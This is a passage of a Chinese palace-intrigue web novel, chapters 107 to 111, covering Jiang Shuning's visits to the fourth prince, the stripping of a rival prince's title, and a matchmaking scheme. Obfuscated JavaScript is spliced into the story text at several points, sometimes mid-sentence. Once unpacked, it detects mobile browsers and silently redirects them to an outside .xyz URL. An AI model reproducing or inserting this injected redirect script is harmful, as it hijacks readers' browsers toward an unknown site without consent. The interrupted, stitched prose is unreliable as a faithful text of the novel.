姜姝宁语气骤冷,眸光如冰,“况且,四皇子殿下真正倾慕之人到底是谁,你心知肚明!你故意将三妹打扮得与我如出一辙,还怂恿她去接近四皇子殿下,这么做,你当真不觉得恶心吗?还是说,这是你和四皇子之间的特殊情趣?” 姜瑶真眉心一跳,试探地开口:“姐姐以为……四皇子殿下倾慕之人是我?” “难道不是吗?”姜姝宁反问。 “当然……是啊!”姜瑶真装出无奈的样子,“可惜我已经与三皇子殿下定了亲,四皇子殿下纵然再倾心于我,也终究是无缘了。所以我才想撮合他和姐姐。姐姐,我并无恶意!” 她在心中放肆地大笑,萧凌川啊萧凌川,你如此爱慕姜姝宁有何用? 在她心中,你爱慕的人竟是我! 活该,谁让你给我下毒,这辈子你都别想得到姜姝宁的心! 姜姝宁听出了她话里的沾沾自喜,白了她一眼:“你的好意我心领了,但我不需要。还请你以后别再擅作主张,撮合我和你的倾慕者,怪膈应的!” 姜瑶真不要的男人就给她,她又不是专门收破烂的! 前世,她就是收了姜瑶真不要的破烂,才吃尽了苦头的。 萧凌川那样的破烂,还是留着祸害别人吧! 萧凌川刚回到宫里,便毫无征兆地打了两个喷嚏。 一旁的凌风关切地问:“殿下,可是路上着凉了?” 萧凌川神色阴沉,眉宇间笼罩着一层挥之不去的阴霾:“并非着凉。我总觉得,有人在背后说我坏话!” 第107章 为姜家开枝散叶 第一百零七章为姜家开枝散叶 京城地下赌场一事实在蹊跷,姜姝宁思量再三,决定还是要告知萧凌川,以查明真相。 说不定能给他一个立功的机会。 萧修湛已封瑞王,可见皇帝对他的器重。 若萧凌川再无作为,恐怕会一直被萧修湛压一头。 翌日,她刚收拾妥当准备出门,姜天泽便提着一个竹篮前来找她。 “大姐姐若要出门,不如带上小白一同前往吧!” 他掀开竹篮上盖着的花布,露出藏在里面小白蛇。 小蛇吐着信子,歪着小脑袋讨好地看着姜姝宁,模样颇为惹人怜爱。 “它的毒腺可曾清除了?”姜姝宁随口问。 “自然清除了!若大姐姐不信,我可让它咬我一口!” 话音未落,他竟真的掰开小白蛇的嘴,主动用指尖去触碰它的尖牙。 等姜姝宁反应过来想制止已为时过晚,他指尖已经被划破,殷红的血珠缓缓渗出。 她连忙握住他受伤的手指,急声吩咐身旁的凌芜:“快去取纱布和止血药粉来!” “是,大小姐!”凌芜应声,迅速转身离去。 不多时,纱布和药粉便被取来。 姜姝宁小心翼翼地为姜天泽清洗伤口,敷上药粉,又细细缠好纱布,神色间满是责备:“身体发肤,受之父母,怎可如此随意弄伤自己?” 姜天泽只觉伤口处传来一阵麻痛,他不动声色地掩饰住异样,低声道:“我怕大姐姐不信……” “傻瓜,我不过随口一问,并非不信你,你何必用如此极端的方式证明自己?” 姜姝宁无奈地轻叹,语气中透着几分心疼。 “是天泽鲁莽,大姐姐教训得是。” 姜天泽目光不着痕迹地扫过她一身正式的装扮以及身旁放置的食盒,佯装随意地问道,“大姐姐今日打扮得这般端庄,可是准备进宫?” “正是。四皇子殿下因救我而受伤,于情于理,我都该去探望一番。” 姜姝宁语气平淡,不愿多谈。 姜天泽眼底闪过一抹不易察觉的妒意,却很快被他强压下去。 “我听说这四皇子殿下极其爱慕大姐姐,甚至因顾公子上门求娶大姐姐,便故意举荐他西征,最终害他命丧匪巢。此人手段如此极端,大姐姐将来岂不是要被迫嫁给他?” “绝无此事!”姜姝宁断然否决,语气坚定如铁,“我此生,绝不可能嫁给他!” “那大姐姐想嫁给宫中哪位皇子?”他小心翼翼地试探,眼底藏着一丝不易察觉的忐忑。 “不瞒你说,我已经跟父亲母亲商量好了,此生不嫁。”姜姝宁神色平静,“正如你所说,四皇子手段极端,无论我嫁给谁,都难逃他的算计。与其如此,不如干脆断了他的念头。” 听到她如此斩钉截铁的回答,姜天泽心头的阴霾顿时一扫而空。 他展颜一笑,声音顿时变得轻快起来:“大姐姐不必忧心,就算你此生不愿嫁人也无妨,我陪着你便是。我也不娶妻生子,我们姐弟二人相依为命,平静地过完此生。” “那可不行。你如今不仅是相府的继承人,更是姜家唯一的后代。姜家子嗣单薄,只你这一根独苗,将来定要娶妻生子,为姜家延续香火,开枝散叶!” 姜天泽痴痴地看着她,心想,将来若能和她结婚生子,也算是为姜家开枝散叶了。 姜姝宁并未察觉姜天泽对自己的那份隐秘痴念与觊觎。 她为他包扎好伤口后,便带着小白蛇和食盒,径直出门而去。 姜天泽回到西院时,整条手臂已然麻木,失去了知觉。 他平日里常与毒物打交道,对毒性的抵抗力远胜常人。 此刻,他对小白蛇的毒性颇为满意——这样的麻痹效果,恰到好处,足以派上用场。 —— 姜姝宁抵达景和宫时,正巧碰上孙神医替萧凌川更换伤药。 她关切地问:“孙神医,不知殿下伤势恢复得如何了?” 孙神医脱口而出:“殿下素来身体强健,这等小伤自然……” 话未说完,便被萧凌川几声轻咳打断。 一个眼神递了过去,其中深意不言而喻。 孙神医会意,连忙改口道:“……自然是极难痊愈!姜姑娘有所不知,殿下是从那般高的地方坠落,整条手臂都已断裂,这断骨重续,需得耗费大量时日,没有一年半载,恐怕难以复原。” 姜姝宁黛眉微蹙,忧心忡忡地追问:“竟如此严重?可有什么良方妙药,能助殿下早日康复?” 若萧凌川的手臂无法尽早痊愈,如何帮她调查京城地下赌场一事? 萧凌川见她如此关心自己,心头不由漾起一丝甜蜜。 孙神医捋了捋胡须道:“倒也不是全无办法。姜姑娘若能平日里多炖些大骨汤,以形补形,或许能加快殿下手臂的愈合速度。” 这番回答很是让萧凌川满意,看来以后他有口福了。 “多谢孙神医指点,臣女明白了。”姜姝宁颔首应道。 孙神医很有眼色,知道不便久留,连忙起身向萧凌川行礼:“殿下若无其他吩咐,老夫便先行告退,改日再来为殿下诊脉。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620129|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“孙神医慢走。凌风,送孙神医离宫。” 孙神医离开后,萧凌川伸手握住姜姝宁的手,表情透着几分戏谑:“不是说府中事务繁忙,近来无暇入宫吗?嗯?” 他想起昨日她和帮姜瑶真把他骗出来,忍不住磨了磨后槽牙:“你这小骗子,究竟哪句话才是真的?” 姜姝宁从未听过他用如此暧昧宠溺的语气与自己说话,只觉得浑身都不自在。 她不着痕迹地将手从他掌心抽离,向后退了一步,拉开彼此间的距离,这才正色道:“殿下,臣女今日前来,有要事相告。” 见她如此疏离,萧凌川也只好端正坐姿,敛了敛容:“何事?” “臣女的堂妹无意中透露,如今京城暗地里开设了不少地下赌场。朝廷三令五申,严禁京城开设赌场,此事颇为蹊跷,不知殿下是否知情?” 萧凌川神情毫无波澜:“此事我早已知晓。这京城地下赌场与人口买卖的幕后主使,皆是瑞王萧修湛。” “竟是他?”姜姝宁一惊,“殿下既已知晓此事,为何迟迟不禀明陛下?先帝在世之时便已明令禁止京城经营**与人口买卖,瑞王此举,分明是知法犯法,理应受到严惩!” “与西榆私兵一事相同,也是苦于没有确凿的证据。若贸然禀告父皇,很可能抓到的只是用来顶罪的替罪羊,届时萧修湛极有可能撇清关系,全身而退。这并非我想要的结果。” “臣女明白殿下谋划的是更大的棋局,可如今地下赌场泛滥,对京城百姓危害甚深。殿下能否先查封取缔这些地下赌场,以解百姓之困?”姜姝宁恳切道,“臣女的二叔便因沉迷**,在赌场欠下巨额债务,甚至到了要卖女还债的地步。若能早日铲除这些害人的场所,于百姓百利无一害。” “不可。”萧凌川断然拒绝,语气不容置喙,“若此时贸然取缔京城地下赌场,岂不是主动替萧修湛掩盖罪证?此事绝不可操之过急。” 姜姝宁见他一副不疾不徐的模样,心中郁闷不已,却也不便与他过多争辩,只能选择沉默不语。 忽然,萧凌川像是想起了什么,目光锐利地看向她:“你二叔的女儿,难道是那日在来福酒楼见到的那位?” “正是。她是我的三妹,名叫姜莲。”姜姝宁如实回答。 他闻言,俊美的脸上浮现出一丝嘲弄:“原来是为了避免被父亲卖掉,这才费尽心思装扮成你的模样,对我百般勾引。看在她是你堂妹的份上,此事我可以不予追究,但你往后最好不要再与她有任何瓜葛。” 姜姝宁一怔,以为自己听错了:“殿下说什么?我三妹她……竟然勾引你?” 第108章 又开始发神经了 第一百零八章又开始发神经了 “你若是不信,大可亲自去问她。”萧凌川斜倚在椅背上,神色间带着几分玩味,语气中却是不屑一顾,“不过你大可放心,我虽称不上正人君子,但也绝非饥不择食的好色之徒。” 一个东施效颦、拙劣模仿的替身,怎能让他提起半分兴趣? 姜姝宁只觉双颊一阵滚烫,像是被人当众扇了一记耳光般,羞恼万分。 她只知道姜莲费尽心思想得萧凌川青睐,没想到她竟做出勾引萧凌川这么下作的事情来,还故意扮作她的模样…… “殿下恕罪,臣女回去后定会严加训诫三妹,绝不会再让她做出如此荒唐之事!” “训诫倒不必了,你往后与她少些来往便是。”萧凌川意味深长地看着她,似笑非笑地说道,“免得被她带坏了。” 姜姝宁闻言,更是面红耳赤,无地自容。 之前为了替兄长报仇雪恨,她也曾动过拿自己的身子与萧凌川达成交易的念头。 自己又比姜莲高尚到哪里去呢? 如今他看似无意的话直戳痛处,姜姝宁顿觉颜面无存,仓皇找了个借口便匆匆离去。 原本心中对姜莲仅存的那一丝同情,也在此刻荡然无存。 才刚踏出景和宫的大门,她便瞧见一只憨态可掬的小鹿,静静地伫立在宫道之上,睁着一双水灵灵的大眼睛,正一眨不眨地凝视着她。 姜姝宁心头一跳,认出了这只小鹿,它名叫绒毛,是五皇子萧怀瑾养的。 它怎会出现在这里? 她心中疑惑,下意识地便想朝小鹿走去,身后突然窜出一只通体漆黑的猫,如同猎豹一般猛地朝小鹿扑了过去。 是黑豹! 姜姝宁猛然想起这只黑猫的牙齿带有剧毒,若是被它咬中,后果不堪设想。 她连忙挡在黑豹与小鹿之间,生怕小鹿被咬到。 黑豹岂是她能拦得住的? 它不顾一切地想要冲向小鹿,口中还发出阵阵凶狠的哈气声,令人不寒而栗。 小鹿受到惊吓,慌乱地往前奔跑。 就在这时,一个熟悉的身影,从宫道旁的树荫下缓缓走了出来。 正是五皇子萧怀瑾。 姜姝宁脸色骤然一变。 “五皇子殿下,您别过来!”她一边焦急地呼喊着,一边奋力徒手按住躁动不安的黑豹。 黑豹见到萧怀瑾,敌意更甚,嘶吼声也愈发凶狠。 它拼命地想要挣脱姜姝宁的束缚,恨不得立刻扑上去,狠狠地咬住他。 萧怀瑾并不知晓眼前这只凶狠的黑猫带有剧毒,他疾步上前:“姜姑娘,快松开这只黑猫,小心它伤到你!” 姜姝宁心急如焚,黑豹不会伤到她,但它未必不会伤到萧怀瑾。 “五皇子,您快走!” 千钧一发之际,一道阴沉低哑的嗓音,如同暗夜中的惊雷般骤然响起:“黑豹,过来!” 原本还浑身炸毛、凶相毕露的黑色大猫,在听到这个声音后,立马乖顺地转身离开,来到那人脚边,亲昵地蹭来蹭去。 姜姝宁甚至无需回头,便知道身后之人肯定是萧凌川。 为何每次她在宫中与萧怀瑾相遇,都会被他撞见? 萧凌川周身裹挟着令人胆寒的煞气,一步步朝他们逼近,目光直射向萧怀瑾:“五弟,真巧啊,似乎每次姜姑娘前来景和宫看我,都能与你‘偶遇’!” 他将“看我”二字咬得格外用力,字里行间,带着宣示**的意味。 萧怀瑾似乎并未听出他话中的深意,神色温和地笑了笑,解释道:“四哥说笑了,绒毛贪玩跑丢了,我出来寻它,碰巧遇到姜姑娘而已。” 他的目光随后便落在了姜姝宁身上,带着一丝关切:“姜姑娘没事吧?可有伤到哪里?” 姜姝宁轻轻摇了摇头,还没来得及开口,萧凌川已经挡在了她的身前,语气冰冷地对萧怀瑾道:“我的客人,自有我来护她周全,不劳五弟费心。” “四哥说的是。”萧怀瑾脸上的笑容微微一僵,眼底闪过一丝不易察觉的黯淡,但很快便恢复了温和的神色,“既如此,那我就不打扰四哥与姜姑娘叙旧了,告辞。” 说完,他朝姜姝宁微微颔首致意,便抱起那只名叫绒毛的小鹿,转身离开了。 萧凌川目光阴鸷地注视着萧怀瑾离去的背影,眼底深处,仿佛酝酿着一场风暴。 他猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620130|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过头,眼神犀利地看向姜姝宁:“你很担心黑豹会伤到他?竟不顾自身安危,徒手便去抓它,你就不怕它一口咬下去,**身亡?在你心中,萧怀瑾当真就如此重要,能让你不惜以身犯险?” 姜姝宁对上他那双戾气横生的眼眸,心中暗道不妙。 他又开始发神经了。 她生怕他因此迁怒于萧怀瑾,连忙解释道: “殿下,我并非担心五皇子,而是黑豹身带剧毒,若它伤了五皇子,殿下私藏南月血统猫的秘密恐怕会暴露,届时黑豹难逃一死,殿下也会惹上麻烦!” 听闻此言,萧凌川神色这才稍霁。 “所以,你并非是担心萧怀瑾的安危,而是在担心我?” 姜姝宁垂眸:“前世黑豹与我感情甚笃,我不忍心眼睁睁地看着它被人打死。” 萧凌川脸色又变得不悦:“这么说来,在你心中,我竟然还没有黑豹重要?” 姜姝宁:“……” 他现在是连自己宠物的醋也要吃了吗? 姜姝宁实在是不想在这种无谓的事情上过多纠缠,只能违心地道:“殿下自然是最重要的。” 萧凌川听了这话,眉眼这才染上了一丝笑意。 “我姑且就相信你这一次。至于地下赌场一事,我眼下尚无法立刻铲除。不过,萧修湛的瑞王之位,恐怕也维持不了多久了。你就拭目以待,等着看好戏吧!” 听到这话,姜姝宁脸上终于浮现出几分真心实意的笑容:“臣女在此静候殿下的佳音!” 萧凌川随即唤来了凌风,吩咐道:“送姜姑娘出宫,切莫再让什么小鹿、小狗之类的东西,将她引到其他地方去,平白遂了某些人的心愿!” 姜姝宁知道他话里有话,却也懒得理会,只当自己什么也没听见。 她才不相信五皇子会故意利用一只小鹿,来引她与他见面呢。 萧怀瑾才不像萧凌川那么多心眼! 她不知道,就在不远处,有一人正抱着一只小鹿,偷偷地注视着她离去的背影。 萧怀瑾轻抚着小鹿的毛发,幽幽地开口说道:“绒毛,看来下次我们不能离景和宫太近了,四哥养的那只黑猫,实在是太凶了。” 第109章 剥夺封号,退还封赏 第一百零九章剥夺封号,退还封赏 萧修湛的手下费尽周折,才寻到一具与顾亦庭极为相似、同样胸口中剑而亡的尸体,小心翼翼地运回京城,企图蒙混过关。 尸体面容已毁,需经过查验才能确定是否为顾亦庭本人。 大理寺的仵作一番细致检验后,脸色骤然大变,立即将结果密报给大理寺卿。 大理寺卿反复思量,决定将此事原原本本禀告给皇帝。 “启禀陛下,经查验,这具尸体身中剧毒。”大理寺卿沉声禀报。 皇帝闻言震惊,沉声怒道:“竟有此事?如此说来,顾亦庭不是进入匪巢后**的,而是**身亡?究竟是谁下的毒?” 他当即下旨,命人召瑞王萧修湛前来问话。 御书房里,气氛凝滞得像块千年寒冰。 皇帝面色阴沉如水,萧修湛跪在青石板上,膝下冰冷刺骨,却远不及心底的寒意。 “仵作查出顾亦庭死前已身中剧毒,”皇帝声音如刀,寒气逼人,“朕问你,这毒可是你下的?” 萧修湛猛地抬头,脸色煞白如纸,惊恐万分:“父皇明察!儿臣绝未做过此事!” 他内心翻涌,难以置信——怎么找了具身中剧毒的尸体? 他的手下究竟是如何办事的? 这完全超出了他的预料! “你与太子向来不和,顾亦庭又是太子的表亲!如今查出他并非死于剿匪,而是**身亡,你如何自证清白?”皇帝瞪着萧修湛,目光如刀,仿佛要将他刺穿,“若有人借机发难,咬定是你所为,朕也未必能护你周全!” 萧修湛一个激灵,头皮发麻,急忙辩解:“父皇!此事绝非儿臣所为!儿臣与顾亦庭无冤无仇,何必对他下毒?定是有人蓄意陷害,欲借此挑拨儿臣与太子的关系!” “哼,”皇帝冷笑,语气冰寒,“这只是你的猜想,证据何在?没有证据,朕如何向御史、向顾家、向天下人交代?” 萧修湛浑身发颤,额角冷汗涔涔,“父皇……那、那您打算如何处置?” “如何处置?”皇帝声音低沉,每个字都如重锤般砸在萧修湛心头,“不管顾亦庭之死与你是否相关,这差事你办得实在不堪。” 他稍作停顿,目光冷漠如霜,“瑞王封号,以及朕先前给你的封赏,怕是留不得了。你如数退还国库,朕暂且压住外头风声,免得顾御史等人一怒之下找你算账。” 此言一出,萧修湛如遭雷击,脑中轰鸣一片,顿时瘫坐在地。 退还? 他早将那些赏赐换成兵甲粮草,供养西榆的私兵了! 如今让他去何处寻物退还? 这分明是要他的命! 萧修湛从御书房踉跄而出,只觉头重脚轻,胸中郁气难平。 他鬼使神差地来到芙蓉殿前,想起凝香身上那股令人心神荡漾的幽香,以及她欲拒还迎的娇媚模样,顿时血脉贲张,热意上涌。 他不顾宫人的阻拦,径直闯入凝香的寝殿,嘴角勾起邪肆的笑:“香妃娘娘,本王来看你了!” 他心中恶意翻腾,一想到父皇要剥夺他的封号,逼他交还赏赐,胸口就有股邪火无处发泄,便只能寻父皇最宠爱的妃子出气,方能稍解心头不平。 凝香端坐桌旁,面对他的冒犯,脸上神色淡然,仿佛早已司空见惯。 直到他凑近想要吻她时,她才露出泫然欲泣的柔弱模样,哀求道:“殿下,求您怜惜,妾身已有身孕,再经不起这般折腾!” “身孕?”萧修湛闻言一怔,眉头紧锁,“你不是一直在服‘凝香丸’吗,怎会受孕?” 凝香低头,手轻抚小腹:“这‘凝香丸’虽有毒性,会妨碍受孕,却并非绝对,总有例外。殿下身强体健,又常来妾身宫中,妾身能怀上并不奇怪。” “你是说,这孩子是我的?”萧修湛眼神陡然一沉。 “自然是殿下的。”凝香抬眸,媚眼如丝,“妾身已有数月未曾伺候陛下,这孩子怎会是他的?况且,陛下年近半百,再想得子嗣,谈何容易?” 萧修湛细想之下,也觉得有道理。 父皇最小的孩子乃十一年前诞下的荣华公主,此后宫中再无妃嫔有孕。 难道,她腹中怀的真是他的骨肉? 他心头百味杂陈,目光阴郁,沉声开口:“这孩子,留不得!” “为何?”凝香闻言,惊恐万状,声音颤抖,“这是我们的骨肉啊!殿下尽可以放心,妾身自有法子,绝不会让陛下起疑。待孩子出生,陛下只会以为这是他的血脉,他定能平安长大!” 萧修湛神色为难,低声道:“可……母妃绝不会容许这孩子出生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620131|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 凝香听罢,扑通一声跪在他面前,泪如泉涌,哀戚道:“殿下,妾身别无所求,只盼在这深宫之中,能有个孩子傍身。妾身不过是女支子出身,即便生下男婴,也绝不会对殿下和熙贵妃有半分威胁。求殿下看在孩子与您血脉相连的份上,留他一命吧!” 萧修湛低头看着眼前梨花带雨的女子,心中百味杂陈。 他虽姬妾众多,但熙贵妃严令她们不得诞下子嗣。 一来长子须由正妃所出,二来若有子嗣,恐被朝臣拿来大做文章,甚至给他扣上“骄奢银逸”的罪名。 因此,他一直命姬妾服避子药。 曾有试图怀孕以求高位的女子,皆被母妃以“心思深沉”为由,逼迫打胎并逐出府中。 如今细想,若凝香能顺利诞下这个孩子,这将是他的第一个骨肉。 父皇的妃子怀上他的骨肉,这种感觉诡异而奇妙,仿佛连父皇的后宫也成了他的禁脔。 他嘴角不由浮现一抹邪肆笑意。 “既然你如此想要这孩子,那就生下吧。”萧修湛轻抚她尚且平坦的小腹,眼中晦暗不明,“若本王有朝一日登临大位,再与他相认。” “谢殿下!”凝香激动不已,连连磕头。 忽地,她似想到什么,惊恐地瞥向身旁的两名宫女,颤声道:“可她们是熙贵妃的人……” 那两名宫女闻言,脸色骤然惨白,慌忙跪地求饶:“殿下饶命!奴婢定守口如瓶,绝不泄露半字!” 萧修湛起身,脸色阴郁,缓缓朝她们逼近,声音冰冷刺骨:“在本王看来,只有**才能真正守住秘密!” 话音未落,他亲自动手,硬生生掐**两名宫女。 其余熙贵妃安插的宫人,亦未能逃过他的毒手。 他将今日在皇帝面前所受的**与窝囊气,尽数宣泄在这群无辜之人身上,殿内哀嚎声不断,浓重的血腥味弥漫开来。 杀得畅快了,他还不忘回过头,对凝香柔声叮嘱:“你先到殿外等着,小心动了胎气。” “谢殿下!”凝香低头应声,眼中却悄然闪过一抹得逞的笑意。 太好了,终于借萧修湛之手将熙贵妃安插在自己身边的眼线尽数杀了。 四皇子说得对,只要让萧修湛以为自己怀的是他的孩子,他定会护她周全。 第110章 乱点鸳鸯谱 第一百一十章乱点鸳鸯谱 没过多久,皇帝便下旨,正式剥夺萧修湛的瑞王封号,并追回所有封赏,以此安抚顾家,平息他们对“顾亦庭”尸体**一事的追查。 萧琪钰来到景和宫,笑着对萧凌川道:“四哥,三哥这次真是自食恶果!他找来的那具尸体,早被我们的人动了手脚。他还以为是手下办事不力,气得杀了那几个替他找尸体的人。不过说起来,这事还得感谢南月毒师,要不是她研制出这种特殊的**,我们哪有机会让三哥栽这么大一个跟头!” 凌芜接连从姜三夫人藏匿于后厨的毒物偷出来交给他们查看。 他们发现其中一种**颇为特殊,只要将其涂抹在尸体表面,便能使尸骨呈现出**的迹象,看起来仿佛死者生前中过毒一样。 他们正是利用这种**,在那具尸体上做了手脚。 “顾亦庭本就是因为发现萧修湛通敌之事被灭口,他该付出些代价。”萧凌川声音冷冽,面无表情,“剥夺封号、归还封赏,算不得重罚。父皇还是心疼他,不舍得下狠手。” “让他归还封赏,已经够他焦头烂额的了!”萧琪钰幸灾乐祸道,“据我所知,那些封赏早被他换成粮食和兵器,送去西榆养那群私兵了。如今想拿回来,简直难如登天。这一次,他算是被逼到绝路上了!” 萧凌川唇角微扬,勾起一抹冰冷的笑意:“只有被逼到绝路,他才有可能露出马脚。” 西榆私兵一事有镇国公为萧修湛操持,证据难以追查;然而,京城的地下赌场与人牙买卖,却只由他一人经手,极易露出破绽。 如今他急需钱财填补国库亏空,难保不会狗急跳墙,露出破绽。 萧凌川要等的,正是这个破绽。 —— 得知萧修湛被剥夺封号,还需退回西征剿匪所得的封赏,姜姝宁心情格外舒畅。 她亲自包了十几种口味的饺子,特意请夏嫣和姜天泽到自己院中一同享用。 夏嫣自从得知二皇子心仪张嫣后,便一直郁郁寡欢。 姜姝宁不忍见她沉浸在悲伤中无法自拔,便将她请来散散心。 其实,她也存了点小心思,打算将夏嫣介绍给姜天泽认识。 姜天泽如今是相府继承人,婚事宜早日定下。 夏嫣身为将军之女,家世不俗,又是她的闺中密友,若将来能成为姜家主母,定会与她相处融洽。 到时候,即便她终身不嫁,留在姜家,夏嫣想必也不会有异议。 夏嫣其实毫无食欲,但架不住姜姝宁的软磨硬泡,只得应邀来到相府。 她到时,姜姝宁正忙着包饺子,笑盈盈地招呼她:“我做了不少口味,你挑几样喜欢的,我待会儿给你做。对了,你得说清楚是想吃水饺还是煎饺,我好安排。” 夏嫣随意挑了荠菜和玉米馅的,因实在没什么胃口,便说想吃水饺。 姜姝宁笑得眼睛弯弯:“真是巧,你的口味跟我三弟一模一样,他也选了荠菜和玉米馅的,也说要吃水饺!” 一旁帮忙包饺子的姜天泽闻言一愣,随即笑着道:“大姐姐,我忽然改主意想吃煎饺了,待会儿麻烦你帮我煎吧。另外,我瞧着牛肉饺子也不错,劳烦再给我备一份!” 姜姝宁气得牙痒,暗中狠狠瞪了姜天泽一眼。 好不容易打造出来的“口味相投”,竟被他一句话彻底毁掉了! 姜天泽不明所以,一脸无辜地看向她:“大姐姐,你干嘛这样瞪我?” “三弟,我有话问你。”姜姝宁凑近姜天泽,低声问道,“你可喜欢比你年长的女子?” 她身上独有的淡淡馨香夹杂着温热的气息喷薄在他耳边,姜天泽只觉得脸颊发烫,发自内心答道:“喜欢的。” “那就好!”姜姝宁满脸欣喜,“夏嫣与我同龄,今年十七,恰好比你大一岁!若能与夏家结亲,真是再合适不过了!” 姜天泽脸上的笑容瞬间僵住。 “大姐姐是想让我与夏嫣姐……相看?” “你是相府的继承人,迟早要成亲。夏嫣无论是相貌还是出身,都堪称出众。你若多费些心思,要赢得她的芳心应当不难。” 姜天泽表面上恭敬应道:“是,天泽定会尽力。” 唇角却勾起一丝阴鸷的笑。 他要让夏嫣这辈子都不敢和他谈婚论嫁。 姜姝宁见姜天泽应下此事,心中欢喜不已。 如今姜天泽已点头,只需再说服夏嫣,这门亲事便十拿九稳了! 她故意提高嗓音,笑着提议:“饺子还得等一会儿才能好,不如你们俩比试一番,也好让我们开开眼界!” 夏嫣素来青睐武艺高强的男子,姜天泽虽身形不及二皇子那般健硕,但武功却颇为不俗。 若能在比试中展现身手,定能让夏嫣对他刮目相看。 此言一出,凌芜和夏蝉立马十分捧场地鼓起掌来,婢女们也纷纷附和,气氛热闹非凡。 盛情难却,夏嫣和姜天泽走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我暂且信你一次!”姜姝宁咬牙道,“但你务必给我拿出点男子气概,让她看到你勇敢的一面,千万别再像现在这样哭哭啼啼!” 姜天泽用指尖抹了抹眼角根本不存在的泪水,乖巧地点点头:“是,大姐姐。” 眼底却掠过一丝阴鸷。 勇敢的样子他自然有,就是不知道夏嫣能不能承受得住了。 第111章 表里不一 第一百一十一章表里不一 府医很快赶到翠竹院,为姜天泽仔细查看鼻子上的伤。 所幸伤势不重,府医开了几副外用药膏,叮嘱他按时涂抹。 夏嫣满脸愧疚,关切地问:“天泽,你还好吗?会不会很疼?” 姜天泽双眸泛红,刚要开口,姜姝宁便警告似地轻咳几声,抢先对夏嫣说道:“三弟自然不疼,他是堂堂男子汉,这点小伤算得了什么?对吧,三弟?” 说着,她还拍了拍姜天泽的肩膀。 她的力道并不重,可姜天泽却咳了几声,眼尾泛红,仿佛在强忍着痛楚。 夏嫣看着心头一紧,不由对姜姝宁埋怨道:“我知道你三弟是相府继承人,你对他期望颇高,但也要因材施教。他身子骨本就单薄,你还逼他习武,这不是揠苗助长吗?” 姜姝宁闻言一惊:“他哪里身子弱了?再说,学武也不是我逼的,是他自己……” “大姐姐别说了!”姜天泽打断她,语气坚定,“天泽绝不辜负大姐姐的期望,定会好好习武,成为一个顶天立地的男子汉!” 姜姝宁磨了磨后槽牙:“你最好如此!” 他再摆出这副柔弱不能自理的模样,夏嫣能看上他才怪! 姜天泽转头看向夏嫣:“夏嫣姐,大姐姐做的饺子还没好,不如我带你去看看我养的宠物如何?” 姜姝宁见他主动提出与夏嫣独处,心中一喜,连忙附和:“夏嫣,你就去吧!看完宠物,正好回来吃我做的饺子!” 夏嫣没有推辞,微微一笑:“那走吧!” 目送两人离去的背影,姜姝宁脸上浮现出一抹欣慰的笑意。 她转头对一旁的凌芜道:“凌芜,你觉得他们俩是不是很般配?” 凌芜摇了摇头:“大小姐,恕奴婢直言,这院里除了您,没人觉得三少爷和夏姑娘般配。他们彼此根本看不上对方,您这完全是在乱点鸳鸯谱!” 姜姝宁不以为意:“你懂什么?感情这东西是可以慢慢培养的。就算他们现在对彼此没感觉,相处久了自然会有情意。这世上哪有那么多一见钟情?能踏踏实实过日子才是最重要的!” 她自己前世那段婚姻就是个活生生的教训。 她对萧凌川一见倾心,可结局却不尽人意。 倘若当初她能多一分理智,选择一个性格品行皆相匹配的男子成亲,或许前世也能过上幸福安稳的日子。 “原来相处久了能生出情意啊!”凌芜一副恍然大悟的模样,挤眉弄眼地调侃道,“那大小姐总往宫里跑,去见四皇子殿下,这么说来,您和四皇子殿下迟早也会有情意咯?” “谁跟他有情意啊?别胡说八道!”姜姝宁气得小脸通红,剜了凌芜一眼,转身就往后厨走去,“快来帮我煮饺子!” “是,大小姐!”凌芜捂嘴偷笑,紧跟在她身后。 另一边,姜天泽带着夏嫣来到了西院。 夏嫣自幼习武,五感远比常人敏锐,不知为何,一踏入这西院,她便感到一阵莫名的寒意,仿佛有双无形的眼睛正窥视着她。 直觉告诉她,这院子里藏着某种令人不安的东西。 姜天泽察觉到她的迟疑,回过头冲她温润一笑:“夏嫣姐不必拘谨,今日我父母外出,院中只有些下人。” “嗯。”夏嫣点头,心想,让她不安的并非长辈,而是这院子里弥漫的那股说不出的阴冷气息。 可对上姜天泽那张清俊无害的面庞,她又觉得自己多虑了。 姜姝宁的堂弟,定如她一般,是个温和善良之人。 